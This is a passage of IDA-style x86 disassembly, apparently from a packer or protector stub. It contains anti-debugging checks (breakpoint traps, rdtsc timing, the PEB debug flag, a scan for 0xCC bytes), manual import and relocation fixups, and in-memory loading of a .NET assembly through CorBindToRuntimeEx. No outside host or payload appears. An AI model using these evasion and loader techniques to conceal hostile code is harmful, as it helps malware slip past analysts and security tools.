		int	3		; Trap to Debugger
		cmp	al, 4
		pop	eax
		pop	ebp
		jnz	short loc_42AB21
		jmp	short loc_42AB28
; ---------------------------------------------------------------------------


loc_42AB21:				; CODE XREF: sub_42AA39+E4j
		mov	[ebp+var_28], 3


loc_42AB28:				; CODE XREF: sub_42AA39+E6j
		mov	eax, off_42A024
		mov	eax, [eax+14h]
		add	eax, [ebp+var_28]
		mov	ecx, off_42A024
		mov	[ecx+14h], eax


loc_42AB3C:				; DATA XREF: sub_42AA39:loc_42AB3Co
		mov	[ebp+var_28], offset loc_42AB3C
		push	0Ah
		mov	eax, [ebp+var_28]
		add	eax, 10h
		push	eax
		call	sub_42B401
		pop	ecx
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		imul	eax, 8Ch
		mov	ecx, off_42A024
		add	ecx, eax
		mov	off_42A024, ecx
		push	4
		push	1000h
		push	80h
		push	0
		call	dword_42A238	; VirtualAlloc
		mov	[ebp+var_24], eax
		cmp	[ebp+arg_4], 1
		jz	short loc_42AB8E
		and	[ebp+arg_0], 0


loc_42AB8E:				; CODE XREF: sub_42AA39+14Fj
		push	4
		push	1000h
		push	104h
		push	0
		call	dword_42A238	; VirtualAlloc
		mov	[ebp+var_14], eax
		push	104h
		push	[ebp+var_14]
		push	[ebp+arg_0]
		call	dword_42A250	; GetModuleFileNameA
		mov	ecx, [ebp+var_14]
		lea	eax, [ecx+eax-1]
		mov	[ebp+var_58], eax


loc_42ABC0:				; CODE XREF: sub_42AA39+199j
		mov	eax, [ebp+var_58]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jz	short loc_42ABD4
		mov	eax, [ebp+var_58]
		dec	eax
		mov	[ebp+var_58], eax
		jmp	short loc_42ABC0
; ---------------------------------------------------------------------------


loc_42ABD4:				; CODE XREF: sub_42AA39+190j
		mov	eax, [ebp+var_58]
		inc	eax
		mov	[ebp+var_58], eax
		mov	eax, [ebp+var_58]
		sub	eax, [ebp+var_14]
		mov	[ebp+var_54], eax
		push	4
		push	1000h
		push	104h
		push	0
		call	dword_42A238	; VirtualAlloc
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_54]
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+var_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_54]
		and	byte ptr [eax+1], 0
		mov	eax, dword_42A020
		shl	eax, 6
		mov	ecx, dword_42A028
		add	ecx, eax
		mov	[ebp+var_44], ecx
		mov	eax, [ebp+var_44]
		mov	ecx, dword_42A028
		add	ecx, [eax+3Ch]
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		add	eax, 0F8h
		mov	[ebp+var_40], eax
		mov	eax, off_42A024
		cmp	dword ptr [eax+68h], 0
		jz	short loc_42ACC7
		mov	eax, off_42A024
		mov	ecx, dword_42A028
		add	ecx, [eax+80h]
		mov	dword_42B824, ecx
		mov	eax, dword_42B824
		mov	[ebp+var_3C], eax
		mov	eax, off_42A024
		mov	eax, [eax+8]
		mov	dword_42B828, eax
		mov	eax, off_42A024
		mov	ecx, dword_42A028
		add	ecx, [eax+10h]
		mov	off_42B820, ecx
		push	dword_42B824
		mov	eax, off_42A024
		push	dword ptr [eax+4]
		push	off_42B820
		call	sub_42A960
		add	esp, 0Ch
		mov	eax, off_42A024
		push	dword ptr [eax+6Ch]
		push	[ebp+var_3C]
		call	sub_42B421
		pop	ecx
		pop	ecx
		jmp	loc_42B307
; ---------------------------------------------------------------------------


loc_42ACC7:				; CODE XREF: sub_42AA39+219j
		mov	eax, off_42A024
		cmp	dword ptr [eax+64h], 0
		jz	loc_42ADF1
		push	4
		push	1000h
		mov	eax, off_42A024
		push	dword ptr [eax+4]
		push	0
		call	dword_42A238	; VirtualAlloc
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		mov	dword_42B824, eax
		cmp	dword_42B824, 0
		jnz	short loc_42AD1B
		push	30h
		push	[ebp+var_58]
		push	offset aErrorAllocatin ; "Error	allocating memory!"
		push	0
		call	dword_42A260	; MessageBoxA
		push	0
		call	dword_42A24C	; ExitProcess


loc_42AD1B:				; CODE XREF: sub_42AA39+2C6j
		mov	eax, off_42A024
		mov	eax, [eax+8]
		mov	dword_42B828, eax
		mov	eax, off_42A024
		mov	ecx, dword_42A028
		add	ecx, [eax+10h]
		mov	eax, off_42A024
		mov	esi, [ebp+var_10]
		mov	eax, [eax+78h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	off_42B820, ecx
		push	dword_42B824
		mov	eax, off_42A024
		push	dword ptr [eax+4]
		push	off_42B820
		call	sub_42A960
		add	esp, 0Ch
		jmp	short loc_42AD73
; ---------------------------------------------------------------------------


loc_42AD6C:				; CODE XREF: sub_42AA39+3A1j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax


loc_42AD73:				; CODE XREF: sub_42AA39+331j
		mov	eax, off_42A024
		movzx	eax, word ptr [eax+70h]
		cmp	[ebp+var_28], eax
		jge	short loc_42ADDC
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, off_42A024
		mov	ecx, [ecx+eax+7Ch]
		mov	esi, dword_42B824
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	edx, off_42A024
		mov	edi, dword_42A028
		add	edi, [edx+eax+80h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, off_42A024
		mov	edx, dword_42B824
		add	edx, [ecx+eax+7Ch]
		mov	dword_42B824, edx
		jmp	short loc_42AD6C
; ---------------------------------------------------------------------------


loc_42ADDC:				; CODE XREF: sub_42AA39+346j
		push	8000h
		push	0
		push	[ebp+var_3C]
		call	dword_42A234	; VirtualFree
		jmp	loc_42AEDB
; ---------------------------------------------------------------------------


loc_42ADF1:				; CODE XREF: sub_42AA39+297j
		mov	eax, off_42A024
		mov	ecx, dword_42A028
		add	ecx, [eax+10h]
		mov	eax, off_42A024
		sub	ecx, [eax+0Ch]
		mov	eax, off_42A024
		mov	esi, [ebp+var_10]
		mov	eax, [eax+78h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	[ebp+var_3C], ecx
		and	[ebp+var_28], 0
		jmp	short loc_42AE29
; ---------------------------------------------------------------------------


loc_42AE22:				; CODE XREF: sub_42AA39:loc_42AED6j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax


loc_42AE29:				; CODE XREF: sub_42AA39+3E7j
		mov	eax, off_42A024
		movzx	eax, word ptr [eax+70h]
		cmp	[ebp+var_28], eax
		jge	loc_42AEDB
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, off_42A024
		cmp	dword ptr [ecx+eax+74h], 0
		jz	loc_42AED6
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, off_42A024
		cmp	dword ptr [ecx+eax+7Ch], 0
		jbe	short loc_42AED6
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, off_42A024
		mov	edx, dword_42A028
		add	edx, [ecx+eax+80h]
		mov	dword_42B824, edx
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, off_42A024
		mov	eax, [ecx+eax+7Ch]
		mov	dword_42B828, eax
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, off_42A024
		mov	edx, [ebp+var_3C]
		add	edx, [ecx+eax+78h]
		mov	off_42B820, edx
		push	dword_42B824
		mov	eax, [ebp+var_28]
		imul	eax, 18h
		mov	ecx, off_42A024
		push	dword ptr [ecx+eax+7Ch]
		push	off_42B820
		call	sub_42A960
		add	esp, 0Ch


loc_42AED6:				; CODE XREF: sub_42AA39+413j
					; sub_42AA39+42Aj
		jmp	loc_42AE22
; ---------------------------------------------------------------------------


loc_42AEDB:				; CODE XREF: sub_42AA39+3B3j
					; sub_42AA39+3FCj
		mov	eax, off_42A024
		mov	ecx, dword_42A028
		add	ecx, [eax+24h]
		mov	[ebp+var_50], ecx


loc_42AEEC:				; CODE XREF: sub_42AA39+6C4j
		mov	eax, [ebp+var_50]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_42B102
		mov	eax, off_42A024
		cmp	dword ptr [eax+24h], 0
		jz	loc_42B102
		lea	eax, [ebp+var_48]
		push	eax
		push	40h
		push	14h
		push	[ebp+var_50]
		call	dword_42A248	; VirtualProtect
		mov	eax, [ebp+var_50]
		mov	ecx, dword_42A028
		add	ecx, [eax+0Ch]
		mov	[ebp+var_C], ecx
		push	[ebp+var_C]
		call	dword_42A244	; GetModuleHandleA
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jnz	short loc_42AF4A
		push	8
		push	0
		push	[ebp+var_C]
		call	dword_42A240	; LoadLibraryExA
		mov	[ebp+var_30], eax


loc_42AF4A:				; CODE XREF: sub_42AA39+4FFj
		cmp	[ebp+var_30], 0
		jnz	short loc_42AF88
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_54]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	8
		push	0
		push	[ebp+var_4]
		call	dword_42A240	; LoadLibraryExA
		mov	[ebp+var_30], eax


loc_42AF88:				; CODE XREF: sub_42AA39+515j
		cmp	[ebp+var_30], 0
		jnz	short loc_42AFBA
		push	[ebp+var_C]
		push	offset aARequired_dllF ; "A required .DLL file,	%hs, was not foun"...
		push	[ebp+var_24]
		call	dword_42A25C	; wsprintfA
		add	esp, 0Ch
		push	30h
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	dword_42A260	; MessageBoxA
		push	0
		call	dword_42A24C	; ExitProcess


loc_42AFBA:				; CODE XREF: sub_42AA39+553j
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+var_30]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_50]
		mov	dword ptr [eax+4], 0CDC31337h
		mov	eax, [ebp+var_50]
		mov	ecx, dword_42A028
		add	ecx, [eax+10h]
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_50]
		cmp	dword ptr [eax], 0
		jnz	short loc_42AFEC
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		jmp	short loc_42AFFA
; ---------------------------------------------------------------------------


loc_42AFEC:				; CODE XREF: sub_42AA39+5A9j
		mov	eax, [ebp+var_50]
		mov	ecx, dword_42A028
		add	ecx, [eax]
		mov	[ebp+var_18], ecx


loc_42AFFA:				; CODE XREF: sub_42AA39+5B1j
					; sub_42AA39+6B6j
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax], 0
		jz	loc_42B0F4
		and	[ebp+var_5C], 0
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_42B034
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 0FFFFh
		movzx	eax, ax
		push	eax
		push	[ebp+var_30]
		call	dword_42A23C	; GetProcAddress
		mov	[ebp+var_5C], eax
		jmp	short loc_42B054
; ---------------------------------------------------------------------------


loc_42B034:				; CODE XREF: sub_42AA39+5DDj
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		add	eax, dword_42A028
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		push	eax
		push	[ebp+var_30]
		call	dword_42A23C	; GetProcAddress
		mov	[ebp+var_5C], eax


loc_42B054:				; CODE XREF: sub_42AA39+5F9j
		cmp	[ebp+var_5C], 0
		jnz	short loc_42B0C4
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_42B08F
		mov	eax, [ebp+var_18]
		mov	eax, [eax]
		and	eax, 0FFFFh
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_58]
		push	offset aTheHsFileIsLin ; "The %hs file is \nlinked to missing expo"...
		push	[ebp+var_24]
		call	dword_42A25C	; wsprintfA
		add	esp, 14h
		jmp	short loc_42B0AC
; ---------------------------------------------------------------------------


loc_42B08F:				; CODE XREF: sub_42AA39+62Dj
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_58]
		push	offset aTheHsFileIsL_0 ; "The %hs file is \nlinked to missing expo"...
		push	[ebp+var_24]
		call	dword_42A25C	; wsprintfA
		add	esp, 14h


loc_42B0AC:				; CODE XREF: sub_42AA39+654j
		push	30h
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	dword_42A260	; MessageBoxA
		push	0
		call	dword_42A24C	; ExitProcess


loc_42B0C4:				; CODE XREF: sub_42AA39+61Fj
		lea	eax, [ebp+var_48]
		push	eax
		push	40h
		push	4
		push	[ebp+var_20]
		call	dword_42A248	; VirtualProtect
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_5C]
		mov	[eax], ecx
		mov	eax, [ebp+var_18]
		add	eax, 4
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_20]
		add	eax, 4
		mov	[ebp+var_20], eax
		jmp	loc_42AFFA
; ---------------------------------------------------------------------------


loc_42B0F4:				; CODE XREF: sub_42AA39+5C7j
		mov	eax, [ebp+var_50]
		add	eax, 14h
		mov	[ebp+var_50], eax
		jmp	loc_42AEEC
; ---------------------------------------------------------------------------


loc_42B102:				; CODE XREF: sub_42AA39+4BAj
					; sub_42AA39+4C9j
		mov	eax, off_42A024
		mov	eax, [eax+1Ch]
		cmp	eax, dword_42A028
		jz	loc_42B279
		mov	eax, off_42A024
		cmp	dword ptr [eax+28h], 0
		jz	loc_42B279
		mov	eax, off_42A024
		mov	ecx, dword_42A028
		add	ecx, [eax+28h]
		mov	[ebp+var_34], ecx


loc_42B136:				; CODE XREF: sub_42AA39+83Bj
		mov	eax, [ebp+var_34]
		cmp	dword ptr [eax], 0
		jz	loc_42B279
		mov	eax, [ebp+var_34]
		add	eax, 8
		mov	[ebp+var_4C], eax
		and	[ebp+var_28], 0
		jmp	short loc_42B158
; ---------------------------------------------------------------------------


loc_42B151:				; CODE XREF: sub_42AA39+82Aj
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax


loc_42B158:				; CODE XREF: sub_42AA39+716j
		mov	eax, [ebp+var_34]
		mov	eax, [eax+4]
		sub	eax, 8
		cdq
		sub	eax, edx
		sar	eax, 1
		cmp	[ebp+var_28], eax
		jge	loc_42B268
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		add	eax, dword_42A028
		mov	ecx, [ebp+var_4C]
		movzx	ecx, word ptr [ecx]
		and	ecx, 0FFFh
		add	eax, ecx
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_4C]
		movzx	eax, word ptr [eax]
		sar	eax, 0Ch
		mov	[ebp+var_60], eax
		cmp	[ebp+var_60], 0
		jz	short loc_42B1A8
		cmp	[ebp+var_60], 3
		jz	short loc_42B1AD
		jmp	loc_42B22E
; ---------------------------------------------------------------------------


loc_42B1A8:				; CODE XREF: sub_42AA39+762j
		jmp	loc_42B25B
; ---------------------------------------------------------------------------


loc_42B1AD:				; CODE XREF: sub_42AA39+768j
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[ebp+var_48], eax
		mov	eax, off_42A024
		mov	ecx, [ebp+var_48]
		sub	ecx, [eax+1Ch]
		add	ecx, dword_42A028
		mov	[ebp+var_48], ecx
		mov	eax, [ebp+var_48]
		cmp	eax, dword_42A028
		jb	short loc_42B1E5
		mov	eax, [ebp+var_10]
		mov	ecx, dword_42A028
		add	ecx, [eax+50h]
		cmp	[ebp+var_48], ecx
		jbe	short loc_42B213


loc_42B1E5:				; CODE XREF: sub_42AA39+799j
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax]
		push	offset aErrorBadReloca ; "Error	bad relocation pointer:	*pdw = 0x"...
		push	[ebp+var_24]
		call	dword_42A25C	; wsprintfA
		add	esp, 0Ch
		push	0
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	dword_42A260	; MessageBoxA
		push	0
		call	dword_42A24C	; ExitProcess


loc_42B213:				; CODE XREF: sub_42AA39+7AAj
		lea	eax, [ebp+var_2C]
		push	eax
		push	40h
		push	4
		push	[ebp+var_1C]
		call	dword_42A248	; VirtualProtect
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		jmp	short loc_42B25B
; ---------------------------------------------------------------------------


loc_42B22E:				; CODE XREF: sub_42AA39+76Aj
		mov	eax, [ebp+var_1C]
		push	dword ptr [eax]
		mov	eax, [ebp+var_4C]
		movzx	eax, word ptr [eax]
		push	eax
		push	offset aUnexpectedRelo ; "Unexpected relocation	type: *pw = 0x%04"...
		push	[ebp+var_24]
		call	dword_42A25C	; wsprintfA
		add	esp, 10h
		push	0
		push	[ebp+var_58]
		push	[ebp+var_24]
		push	0
		call	dword_42A260	; MessageBoxA


loc_42B25B:				; CODE XREF: sub_42AA39:loc_42B1A8j
					; sub_42AA39+7F3j
		mov	eax, [ebp+var_4C]
		inc	eax
		inc	eax
		mov	[ebp+var_4C], eax
		jmp	loc_42B151
; ---------------------------------------------------------------------------


loc_42B268:				; CODE XREF: sub_42AA39+730j
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_34]
		add	ecx, [eax+4]
		mov	[ebp+var_34], ecx
		jmp	loc_42B136
; ---------------------------------------------------------------------------


loc_42B279:				; CODE XREF: sub_42AA39+6D7j
					; sub_42AA39+6E6j ...
		mov	eax, off_42A024
		cmp	dword ptr [eax+30h], 0
		jz	short loc_42B289
		call	sub_42B372


loc_42B289:				; CODE XREF: sub_42AA39+849j
		mov	eax, off_42A024
		mov	ecx, dword_42A028
		add	ecx, [eax+14h]
		mov	[ebp+var_38], ecx
		pop	large dword ptr	fs:0
		add	esp, 4


loc_42B2A4:				; CODE XREF: sub_42AA39+58j
					; sub_42AA39:loc_42B307j
		push	8000h
		push	0
		push	[ebp+var_24]
		call	dword_42A234	; VirtualFree
		push	8000h
		push	0
		push	[ebp+var_4]
		call	dword_42A234	; VirtualFree
		push	8000h
		push	0
		push	[ebp+var_14]
		call	dword_42A234	; VirtualFree
		mov	eax, off_42A024
		cmp	dword ptr [eax+68h], 0
		jz	short loc_42B2E7
		push	0
		call	dword_42A24C	; ExitProcess


loc_42B2E7:				; CODE XREF: sub_42AA39+8A4j
		mov	eax, [ebp+var_38]
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 60h
		pop	ebp
		push	eax
		mov	eax, off_42A024
		cmp	dword ptr [eax+14h], 0
		jnz	short loc_42B302
		pop	eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_42B302:				; CODE XREF: sub_42AA39+8C2j
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		jmp	short loc_42B309
; ---------------------------------------------------------------------------


loc_42B307:				; CODE XREF: sub_42AA39+289j
		jmp	short loc_42B2A4
sub_42AA39	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA39


loc_42B309:				; CODE XREF: sub_42AA39+8CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_42AA39

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B30E	proc near		; CODE XREF: sub_42B372+25p
					; DATA XREF: .data:off_42A004o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		call	sub_42B39D
		push	1
		test	eax, eax
		pop	ecx
		jz	short loc_42B323
		mov	dword_42A020, ecx


loc_42B323:				; CODE XREF: sub_42B30E+Dj
		cmp	dword_42A00C, 0
		push	esi
		jz	short loc_42B34F
		mov	eax, off_42A024
		mov	esi, [eax+40h]
		test	esi, esi
		jz	short loc_42B36D


loc_42B339:				; CODE XREF: sub_42B30E+3Fj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42B36D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		add	esi, 4
		jmp	short loc_42B339
; ---------------------------------------------------------------------------


loc_42B34F:				; CODE XREF: sub_42B30E+1Dj
		mov	eax, [ebp+arg_0]
		mov	dword_42A010, ecx
		mov	dword_42A014, eax
		mov	eax, [ebp+arg_4]
		mov	dword_42A018, eax
		mov	eax, [ebp+arg_8]
		mov	dword_42A01C, eax


loc_42B36D:				; CODE XREF: sub_42B30E+29j
					; sub_42B30E+2Fj
		pop	esi
		pop	ebp
		retn	0Ch
sub_42B30E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B372	proc near		; CODE XREF: sub_42AA39+84Bp
		cmp	dword_42A010, 0
		mov	dword_42A00C, 1
		jz	short locret_42B39C
		push	dword_42A01C
		push	dword_42A018
		push	dword_42A014
		call	sub_42B30E

locret_42B39C:				; CODE XREF: sub_42B372+11j
		retn
sub_42B372	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B39D	proc near		; CODE XREF: sub_42AA39+A1p
					; sub_42B30E+3p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		push	ecx
		mov	eax, large fs:18h
		mov	eax, [eax+30h]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		pop	ecx
		pop	eax
		rdtsc
		xor	ecx, ecx
		add	ecx, eax
		rdtsc
		sub	eax, ecx
		cmp	eax, 0FFFh
		jb	short loc_42B3CE
		push	0
		call	near ptr dword_42A24C


loc_42B3CE:				; CODE XREF: sub_42B39D+28j
		mov	eax, [ebp+var_4]
		and	eax, 10000h
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42B39D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B3E1	proc near		; DATA XREF: sub_42AA39+67o

arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		add	eax, 0B8h
		mov	ecx, [eax]
		cmp	dword_42A030, ecx
		jnz	short loc_42B3FE
		inc	ecx
		mov	[eax], ecx
		and	dword_42A030, 0


loc_42B3FE:				; CODE XREF: sub_42B3E1+11j
		xor	eax, eax
		retn
sub_42B3E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B401	proc near		; CODE XREF: sub_42AA39+86p
					; sub_42AA39+113p
					; DATA XREF: ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	al, 0CCh
		repne scasb
		test	ecx, ecx
		jz	short loc_42B41A
		push	1
		pop	eax
		jmp	short loc_42B41C
; ---------------------------------------------------------------------------


loc_42B41A:				; CODE XREF: sub_42B401+12j
		xor	eax, eax


loc_42B41C:				; CODE XREF: sub_42B401+17j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42B401	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B421	proc near		; CODE XREF: sub_42AA39+282p

var_48		= byte ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_42A254
		xor	ebx, ebx
		push	offset aOle32_dll ; "ole32.dll"
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	edi	; LoadLibraryA
		mov	esi, dword_42A23C
		push	offset aCoinitialize ; "CoInitialize"
		push	eax
		mov	[ebp+var_38], eax
		call	esi	; GetProcAddress
		push	offset aCouninitialize ; "CoUninitialize"
		mov	[ebp+var_18], eax
		push	[ebp+var_38]
		call	esi	; GetProcAddress
		push	offset aMscoree_dll ; "mscoree.dll"
		mov	[ebp+var_38], eax
		call	edi	; LoadLibraryA
		push	offset aCorbindtorunti ; "CorBindToRuntimeEx"
		push	eax
		call	esi	; GetProcAddress
		push	offset aOleaut32_dll ; "oleaut32.dll"
		mov	[ebp+var_1C], eax
		call	edi	; LoadLibraryA
		mov	edi, eax
		push	19Bh
		push	edi
		call	esi	; GetProcAddress
		push	17h
		push	edi
		mov	[ebp+var_20], eax
		call	esi	; GetProcAddress
		push	18h
		push	edi
		mov	[ebp+var_24], eax
		call	esi	; GetProcAddress
		push	8
		push	edi
		mov	[ebp+var_2C], eax
		call	esi	; GetProcAddress
		push	10h
		push	edi
		mov	[ebp+var_30], eax
		call	esi	; GetProcAddress
		cmp	[ebp+var_18], ebx
		mov	[ebp+var_34], eax
		jz	loc_42B64F
		cmp	[ebp+var_38], ebx
		jz	loc_42B64F
		cmp	[ebp+var_1C], ebx
		jz	loc_42B64F
		cmp	[ebp+var_20], ebx
		jz	loc_42B64F
		cmp	[ebp+var_24], ebx
		jz	loc_42B64F
		cmp	[ebp+var_2C], ebx
		jz	loc_42B64F
		cmp	[ebp+var_30], ebx
		jz	loc_42B64F
		cmp	eax, ebx
		jz	loc_42B64F
		push	ebx
		call	[ebp+var_18]
		test	eax, eax
		jl	loc_42B64F
		lea	eax, [ebp+var_4]
		push	eax
		push	offset loc_42A338
		push	(offset	loc_42A345+3)
		push	2
		push	offset aWks	; "wks"
		push	ebx
		call	[ebp+var_1C]
		test	eax, eax
		jl	loc_42B64F
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+28h]
		test	eax, eax
		jl	loc_42B64F
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_8]
		push	edx
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		test	eax, eax
		mov	eax, [ebp+var_8]
		jl	loc_42B652
		mov	ecx, [eax]
		lea	edx, [ebp+var_14]
		push	edx
		push	offset dword_42A150
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	loc_42B64F
		push	[ebp+arg_4]
		push	ebx
		push	11h
		call	[ebp+var_20]
		cmp	eax, ebx
		mov	[ebp+var_18], eax
		jz	loc_42B64F
		lea	ecx, [ebp+var_28]
		mov	[ebp+var_28], ebx
		push	ecx
		push	eax
		call	[ebp+var_24]
		test	eax, eax
		jge	short loc_42B5A8
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jz	short loc_42B592
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_42B592:				; CODE XREF: sub_42B421+169j
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	loc_42B635
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_42B635
; ---------------------------------------------------------------------------


loc_42B5A8:				; CODE XREF: sub_42B421+162j
		mov	ecx, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+var_28]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		push	[ebp+var_18]
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	[ebp+var_2C]
		mov	eax, [ebp+var_14]
		lea	edx, [ebp+var_10]
		push	edx
		push	[ebp+var_18]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0B4h]
		test	eax, eax
		jl	short loc_42B620
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+40h]
		test	eax, eax
		jl	short loc_42B620
		lea	eax, [ebp+var_48]
		push	eax
		call	[ebp+var_30]
		push	ebx
		push	ebx
		sub	esp, 10h
		lea	esi, [ebp+var_48]
		mov	edi, esp
		mov	eax, [ebp+var_C]
		movsd
		mov	ecx, [eax]
		push	eax
		movsd
		movsd
		movsd
		call	dword ptr [ecx+94h]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+2Ch]
		push	[ebp+var_18]
		call	[ebp+var_34]
		call	[ebp+var_38]


loc_42B620:				; CODE XREF: sub_42B421+1B9j
					; sub_42B421+1CAj
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jz	short loc_42B62D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_42B62D:				; CODE XREF: sub_42B421+204j
		lea	ecx, [ebp+var_4]
		call	sub_42B695


loc_42B635:				; CODE XREF: sub_42B421+176j
					; sub_42B421+182j
		lea	ecx, [ebp+var_C]
		call	sub_42B695
		lea	ecx, [ebp+var_10]
		call	sub_42B695
		lea	ecx, [ebp+var_14]
		call	sub_42B695
		jmp	short loc_42B690
; ---------------------------------------------------------------------------


loc_42B64F:				; CODE XREF: sub_42B421+91j
					; sub_42B421+9Aj ...
		mov	eax, [ebp+var_8]


